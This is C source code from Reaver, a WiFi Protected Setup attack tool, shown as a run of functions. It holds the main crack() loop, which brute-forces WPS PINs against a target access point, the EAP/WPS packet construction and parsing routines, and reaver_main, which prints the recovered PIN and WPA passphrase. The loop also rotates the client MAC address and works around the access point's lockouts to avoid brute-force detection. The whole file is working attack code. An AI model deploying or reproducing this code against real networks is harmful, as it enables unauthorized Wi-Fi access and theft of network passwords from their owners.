/* Send a WSC_NACK message */ void send_wsc_nack() { struct wps_data *wps = get_wps(); wps->state = SEND_WSC_NACK; send_msg(SEND_WSC_NACK); }
/* Starts receive timer. Called from send_packet() after a packet is trasmitted */ void start_timer() { struct itimerval timer; struct wps_data *wps = get_wps(); memset(&timer, 0, sizeof(struct itimerval)); /* * The M5 and M7 messages have very fast turn around times - * typically a few hundreths of a second. We don't want to wait * around forever to see if we get them or not, so use a short * timeout value when waiting for those messages. * Ignore this timeout if we know the AP responds with NACKs when * the wrong pin is supplied instead of not responding at all. */ if(get_timeout_is_nack() && (wps->state == RECV_M5 || wps->state == RECV_M7)) { timer.it_value.tv_usec = get_m57_timeout(); } else { /* * Other messages may take up to 2 seconds to respond - * wait a little longer for them. */ timer.it_value.tv_sec = get_rx_timeout(); } set_out_of_time(0); setitimer(ITIMER_REAL, &timer, 0); }
/* Processes a received WPS message and returns the message type */ enum wps_type process_wps_message(const void *data, size_t data_size) { const struct wpabuf *msg = NULL; enum wps_type type = UNKNOWN; struct wps_data *wps = get_wps(); unsigned char *element_data = NULL; struct wfa_element_header element = {0}; int i = 0, header_size = sizeof (struct wfa_element_header); /* Shove data into a wpabuf structure for processing */ msg = wpabuf_alloc_copy(data, data_size); if (msg) { /* Process the incoming message */ wps_registrar_process_msg(wps, get_opcode(), msg); wpabuf_free((struct wpabuf *) msg); /* Loop through until we hit the end of the data buffer */ for (i = 0; i < data_size; i += header_size) { element_data = NULL; memset((void *) &element, 0, header_size); /* Get the element header data */ memcpy((void *) &element, (data + i), header_size); element.type = htons(element.type); element.length = htons(element.length); /* Make sure the element length does not exceed the remaining buffer size */ if (element.length <= (data_size - i - header_size)) { element_data = (unsigned char *) (data + i + header_size); switch (element.type) { case MESSAGE_TYPE: type = (uint8_t) element_data[0]; break; case CONFIGURATION_ERROR: /* Check element_data length */ if (element.length == 2) set_nack_reason(htons(*((uint16_t*) element_data))); break; default: break; } } /* Offset must include element length(s) */ i += element.length; } } return type; }
/* Send the appropriate WPS message based on the current WPS state (globule->wps->state) */ int send_msg(int type) { int ret_val = 0; const struct wpabuf *msg = NULL; unsigned char *payload = NULL; const void *packet = NULL; size_t packet_len = 0; uint16_t payload_len = 0; enum wsc_op_code opcode = 0; struct wps_data *wps = get_wps(); /* * Get the next message we need to send based on the data retrieved * from wps_registrar_process_msg (see exchange.c). */ msg = wps_registrar_get_msg(wps, &opcode, type); set_opcode(opcode); if(msg) { /* Get a pointer to the actual data inside of the wpabuf */ payload = (unsigned char *) wpabuf_head(msg); payload_len = (uint16_t) msg->used; /* Build and send an EAP packet with the message payload */ packet = build_eap_packet(payload, payload_len, &packet_len); if(packet) { if(send_packet(packet, packet_len, 1)) { ret_val = 1; } else { free((void *) packet); } } wpabuf_free((struct wpabuf *) msg); } return ret_val; }
/* * Remove the last WPS pin (if any), build the next WPS pin in the p1 and p2 arrays, * and populate the wps structure with the new pin. */ char *build_next_pin() { char *pin = NULL; struct wps_data *wps = get_wps(); /* Remove previous pin */ wps_registrar_invalidate_pin(wps->wps->registrar, wps->uuid_e); /* Build a new pin */ pin = build_wps_pin(); if(pin) { /* Add the new pin */ if(wps_registrar_add_pin(wps->wps->registrar, NULL, (const u8 *) pin, PIN_SIZE, 0) != 0) { free(pin); pin = NULL; } } return pin; }
int reaver_main(int argc, char **argv) { int ret_val = EXIT_FAILURE, r = 0; time_t start_time = 0, end_time = 0; struct wps_data *wps = NULL; globule_init(); init_default_settings(); fprintf(stderr, "\nReaver v%s WiFi Protected Setup Attack Tool\n", get_version()); fprintf(stderr, "Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <*****@*****.**>\n\n"); if(argc < 2) { ret_val = reaver_usage(argv[0]); goto end; } /* Process the command line arguments */ if(process_arguments(argc, argv) == EXIT_FAILURE) { ret_val = reaver_usage(argv[0]); goto end; } /* Double check reaver_usage */ if(!get_iface() || (memcmp(get_bssid(), NULL_MAC, MAC_ADDR_LEN) == 0)) { reaver_usage(argv[0]); goto end; } /* If no MAC address was provided, get it ourselves */ if(memcmp(get_mac(), NULL_MAC, MAC_ADDR_LEN) == 0) { if(!read_iface_mac()) { fprintf(stderr, "[-] Failed to retrieve a MAC address for interface '%s'!\n", get_iface()); goto end; } } /* Sanity checking on the message timeout value */ if(get_m57_timeout() > M57_MAX_TIMEOUT) { set_m57_timeout(M57_MAX_TIMEOUT); } else if(get_m57_timeout() <= 0) { set_m57_timeout(M57_DEFAULT_TIMEOUT); } /* Sanity checking on the receive timeout value */ if(get_rx_timeout() <= 0) { set_rx_timeout(DEFAULT_TIMEOUT); } /* Initialize signal handlers */ sigint_init(); sigalrm_init(); /* Mark the start time */ start_time = time(NULL); /* Do it. */ crack(); /* Mark the end time */ end_time = time(NULL); /* Check our key status */ if(get_key_status() == KEY_DONE) { wps = get_wps(); cprintf(VERBOSE, "[+] Pin cracked in %d seconds\n", (int) (end_time - start_time)); cprintf(CRITICAL, "[+] WPS PIN: '%s'\n", get_pin()); if(wps->key) cprintf(CRITICAL, "[+] WPA PSK: '%s'\n", wps->key); if(wps->essid) cprintf(CRITICAL, "[+] AP SSID: '%s'\n", wps->essid); /* Run user-supplied command */ if(get_exec_string()) { r = system(get_exec_string()); } ret_val = EXIT_SUCCESS; } else { cprintf(CRITICAL, "[-] Failed to recover WPA key\n"); } save_session(); end: globule_deinit(); return ret_val; }
/* * Processes incoming packets looking for EAP and WPS messages. * Responsible for stopping the timer when a valid EAP packet is received. * Returns the type of WPS message received, if any. */ enum wps_type process_packet(const u_char *packet, struct pcap_pkthdr *header) { struct radio_tap_header *rt_header = NULL; struct dot11_frame_header *frame_header = NULL; struct llc_header *llc = NULL; struct dot1X_header *dot1x = NULL; struct eap_header *eap = NULL; struct wfa_expanded_header *wfa = NULL; const void *wps_msg = NULL; size_t wps_msg_len = 0; enum wps_type type = UNKNOWN; struct wps_data *wps = NULL; if (packet == NULL || header == NULL) { return UNKNOWN; } else if (header->len < MIN_PACKET_SIZE) { return UNKNOWN; } /* Cast the radio tap and 802.11 frame headers and parse out the Frame Control field */ rt_header = (struct radio_tap_header *) packet; frame_header = (struct dot11_frame_header *) (packet + rt_header->len); /* Does the BSSID/source address match our target BSSID? */ if (memcmp(frame_header->addr3, get_bssid(), MAC_ADDR_LEN) == 0) { /* Is this a data packet sent to our MAC address? */ if (frame_header->fc.type == DATA_FRAME && frame_header->fc.sub_type == SUBTYPE_DATA && (memcmp(frame_header->addr1, get_mac(), MAC_ADDR_LEN) == 0)) { llc = (struct llc_header *) (packet + rt_header->len + sizeof (struct dot11_frame_header) ); /* All packets in our exchanges will be 802.1x */ if (llc->type == DOT1X_AUTHENTICATION) { dot1x = (struct dot1X_header *) (packet + rt_header->len + sizeof (struct dot11_frame_header) + sizeof (struct llc_header) ); /* All packets in our exchanges will be EAP packets */ if (dot1x->type == DOT1X_EAP_PACKET && (header->len >= EAP_PACKET_SIZE)) { eap = (struct eap_header *) (packet + rt_header->len + sizeof (struct dot11_frame_header) + sizeof (struct llc_header) + sizeof (struct dot1X_header) ); /* EAP session termination. Break and move on. */ if (eap->code == EAP_FAILURE) { cprintf(VERBOSE, "[!] EAP_FAILURE: TERMINATE\n"); type = TERMINATE; } /* If we've received an EAP request and then this should be a WPS message */ else if (eap->code == EAP_REQUEST) { /* The EAP header builder needs this ID value */ set_eap_id(eap->id); /* Stop the receive timer that was started by the last send_packet() */ stop_timer(); /* Check to see if we received an EAP identity request */ if (eap->type == EAP_IDENTITY) { /* We've initiated an EAP session, so reset the counter */ set_eapol_start_count(0); type = IDENTITY_REQUEST; } /* An expanded EAP type indicates a probable WPS message */ else if ((eap->type == EAP_EXPANDED) && (header->len > WFA_PACKET_SIZE)) { wfa = (struct wfa_expanded_header *) (packet + rt_header->len + sizeof (struct dot11_frame_header) + sizeof (struct llc_header) + sizeof (struct dot1X_header) + sizeof (struct eap_header) ); /* Verify that this is a WPS message */ if (wfa->type == SIMPLE_CONFIG) { wps_msg_len = (size_t) ntohs(eap->len) - sizeof (struct eap_header) - sizeof (struct wfa_expanded_header); wps_msg = (const void *) (packet + rt_header->len + sizeof (struct dot11_frame_header) + sizeof (struct llc_header) + sizeof (struct dot1X_header) + sizeof (struct eap_header) + sizeof (struct wfa_expanded_header) ); /* Save the current WPS state. This way if we get a NACK message, we can * determine what state we were in when the NACK arrived. */ wps = get_wps(); set_last_wps_state(wps->state); set_opcode(wfa->opcode); /* Process the WPS message and send a response */ type = process_wps_message(wps_msg, wps_msg_len); } } } } } } } return type; }
/* Wrapper for SNAP / Dot1X / EAP / WFA / Payload */ const void *build_eap_packet(const void *payload, uint16_t payload_len, size_t *len) { const void *buf = NULL, *snap_packet = NULL, *eap_header = NULL, *dot1x_header = NULL, *wfa_header = NULL; size_t buf_len = 0, snap_len = 0, eap_len = 0, dot1x_len = 0, wfa_len = 0, offset = 0, total_payload_len = 0; uint8_t eap_type = 0, eap_code = 0; struct wps_data *wps = get_wps(); /* Decide what type of EAP packet to build based on the current WPS state */ switch(wps->state) { case RECV_M1: eap_code = EAP_RESPONSE; eap_type = EAP_IDENTITY; break; default: eap_code = EAP_RESPONSE; eap_type = EAP_EXPANDED; } /* Total payload size may or may not be equal to payload_len depending on if we * need to build and add a WFA header to the packet payload. */ total_payload_len = payload_len; /* If eap_type is Expanded, then we need to add a WFA header */ if(eap_type == EAP_EXPANDED) { wfa_header = build_wfa_header(get_opcode(), &wfa_len); total_payload_len += wfa_len; } /* Build SNAP, EAP and 802.1x headers */ snap_packet = build_snap_packet(&snap_len); eap_header = build_eap_header(get_eap_id(), eap_code, eap_type, total_payload_len, &eap_len); dot1x_header = build_dot1X_header(DOT1X_EAP_PACKET, (total_payload_len+eap_len), &dot1x_len); if(snap_packet && eap_header && dot1x_header) { buf_len = snap_len + dot1x_len + eap_len + total_payload_len; buf = malloc(buf_len); if(buf) { memset((void *) buf, 0, buf_len); /* Build the packet */ memcpy((void *) buf, snap_packet, snap_len); offset += snap_len; memcpy((void *) ((char *) buf+offset), dot1x_header, dot1x_len); offset += dot1x_len; memcpy((void *) ((char *) buf+offset), eap_header, eap_len); offset += eap_len; if(eap_type == EAP_EXPANDED) { memcpy((void *) ((char *) buf+offset), wfa_header, wfa_len); offset += wfa_len; } if(payload && payload_len) { memcpy((void *) ((char *) buf+offset), payload, payload_len); } *len = (offset + payload_len); } free((void *) snap_packet); free((void *) eap_header); free((void *) dot1x_header); if(wfa_header) free((void *) wfa_header); } return buf; }
/* Brute force all possible WPS pins for a given access point */ void crack() { unsigned char *bssid = NULL; char *pin = NULL; int fail_count = 0, loop_count = 0, sleep_count = 0, assoc_fail_count = 0; float pin_count = 0; time_t start_time = 0; enum wps_result result = 0; /* MAC CHANGER VARIABLES */ int mac_changer_counter = 0; char mac[MAC_ADDR_LEN] = { 0 }; unsigned char mac_string [] = "ZZ:ZZ:ZZ:ZZ:ZZ:ZZ"; unsigned char* new_mac = &mac_string[0]; char last_digit = '0'; if(!get_iface()) { return; } if(get_max_pin_attempts() == -1) { cprintf(CRITICAL, "[X] ERROR: This device has been blacklisted and is not supported.\n"); return; } /* Initialize network interface */ set_handle(capture_init(get_iface())); if(get_handle() != NULL) { generate_pins(); /* Restore any previously saved session */ if(get_static_p1() == NULL) { restore_session(); } /* Convert BSSID to a string */ bssid = mac2str(get_bssid(), ':'); /* * We need to get some basic info from the AP, and also want to make sure the target AP * actually exists, so wait for a beacon packet */ cprintf(INFO, "[+] Waiting for beacon from %s\n", bssid); read_ap_beacon(); process_auto_options(); /* I'm fairly certian there's a reason I put this in twice. Can't remember what it was now though... */ if(get_max_pin_attempts() == -1) { cprintf(CRITICAL, "[X] ERROR: This device has been blacklisted and is not supported.\n"); return; } /* This initial association is just to make sure we can successfully associate */ while(!reassociate()) { if(assoc_fail_count == MAX_ASSOC_FAILURES) { assoc_fail_count = 0; cprintf(CRITICAL, "[!] WARNING: Failed to associate with %s (ESSID: %s)\n", bssid, get_ssid()); } else { assoc_fail_count++; } } cprintf(INFO, "[+] Associated with %s (ESSID: %s)\n", bssid, get_ssid()); /* Used to calculate pin attempt rates */ start_time = time(NULL); /* If the key status hasn't been explicitly set by restore_session(), ensure that it is set to KEY1_WIP */ if(get_key_status() <= KEY1_WIP) { set_key_status(KEY1_WIP); } /* * If we're starting a session at KEY_DONE, that means we've already cracked the pin and the AP is being re-attacked. * Re-set the status to KEY2_WIP so that we properly enter the main cracking loop. */ else if(get_key_status() == KEY_DONE) { set_key_status(KEY2_WIP); } //copy the current mac to the new_mac variable for mac changer if (get_mac_changer() == 1) { strncpy(new_mac, mac2str(get_mac(), ':'), 16); } /* Main cracking loop */ for(loop_count=0, sleep_count=0; get_key_status() != KEY_DONE; loop_count++, sleep_count++) { //MAC Changer switch/case to define the last mac address digit if (get_mac_changer() == 1) { switch (mac_changer_counter) { case 0: last_digit = '0'; break; case 1: last_digit = '1'; break; case 2: last_digit = '2'; break; case 3: last_digit = '3'; break; case 4: last_digit = '4'; break; case 5: last_digit = '5'; break; case 6: last_digit = '6'; break; case 7: last_digit = '7'; break; case 8: last_digit = '8'; break; case 9: last_digit = '9'; break; case 10: last_digit = 'A'; break; case 11: last_digit = 'B'; break; case 12: last_digit = 'C'; break; case 13: last_digit = 'D'; break; case 14: last_digit = 'E'; break; case 15: last_digit = 'F'; mac_changer_counter = -1; break; } mac_changer_counter++; new_mac[16] = last_digit; //transform the string to a MAC and define the MAC str2mac((unsigned char *) new_mac, (unsigned char *) &mac); set_mac((unsigned char *) &mac); cprintf(WARNING, "[+] Using MAC %s \n", mac2str(get_mac(), ':')); } /* * Some APs may do brute force detection, or might not be able to handle an onslaught of WPS * registrar requests. Using a delay here can help prevent the AP from locking us out. */ pcap_sleep(get_delay()); /* Users may specify a delay after x number of attempts */ if((get_recurring_delay() > 0) && (sleep_count == get_recurring_delay_count())) { cprintf(VERBOSE, "[+] Entering recurring delay of %d seconds\n", get_recurring_delay()); pcap_sleep(get_recurring_delay()); sleep_count = 0; } /* * Some APs identify brute force attempts and lock themselves for a short period of time (typically 5 minutes). * Verify that the AP is not locked before attempting the next pin. */ while(get_ignore_locks() == 0 && is_wps_locked()) { cprintf(WARNING, "[!] WARNING: Detected AP rate limiting, waiting %d seconds before re-checking\n", get_lock_delay()); pcap_sleep(get_lock_delay()); } /* Initialize wps structure */ set_wps(initialize_wps_data()); if(!get_wps()) { cprintf(CRITICAL, "[-] Failed to initialize critical data structure\n"); break; } /* Try the next pin in the list */ pin = build_next_pin(); if(!pin) { cprintf(CRITICAL, "[-] Failed to generate the next payload\n"); break; } else { cprintf(WARNING, "[+] Trying pin %s\n", pin); } /* * Reassociate with the AP before each WPS exchange. This is necessary as some APs will * severely limit our pin attempt rate if we do not. */ assoc_fail_count = 0; while(!reassociate()) { if(assoc_fail_count == MAX_ASSOC_FAILURES) { assoc_fail_count = 0; cprintf(CRITICAL, "[!] WARNING: Failed to associate with %s (ESSID: %s)\n", bssid, get_ssid()); } else { assoc_fail_count++; } } /* * Enter receive loop. This will block until a receive timeout occurs or a * WPS transaction has completed or failed. */ result = do_wps_exchange(); switch(result) { /* * If the last pin attempt was rejected, increment * the pin counter, clear the fail counter and move * on to the next pin. */ case KEY_REJECTED: fail_count = 0; pin_count++; advance_pin_count(); break; /* Got it!! */ case KEY_ACCEPTED: break; /* Unexpected timeout or EAP failure...try this pin again */ default: cprintf(VERBOSE, "[!] WPS transaction failed (code: 0x%.2X), re-trying last pin\n", result); fail_count++; break; } /* If we've had an excessive number of message failures in a row, print a warning */ if(fail_count == WARN_FAILURE_COUNT) { cprintf(WARNING, "[!] WARNING: %d failed connections in a row\n", fail_count); fail_count = 0; pcap_sleep(get_fail_delay()); } /* Display status and save current session state every DISPLAY_PIN_COUNT loops */ if(loop_count == DISPLAY_PIN_COUNT) { save_session(); display_status(pin_count, start_time); loop_count = 0; } /* * The WPA key and other settings are stored in the globule->wps structure. If we've * recovered the WPS pin and parsed these settings, don't free this structure. It * will be freed by wpscrack_free() at the end of main(). */ if(get_key_status() != KEY_DONE) { wps_deinit(get_wps()); set_wps(NULL); } /* If we have cracked the pin, save a copy */ else { set_pin(pin); } free(pin); pin = NULL; /* If we've hit our max number of pin attempts, quit */ if((get_max_pin_attempts() > 0) && (pin_count == get_max_pin_attempts())) { cprintf(VERBOSE, "[+] Quitting after %d crack attempts\n", get_max_pin_attempts()); break; } } if(bssid) free(bssid); if(get_handle()) { pcap_close(get_handle()); set_handle(NULL); } } else { cprintf(CRITICAL, "[-] Failed to initialize interface '%s'\n", get_iface()); } }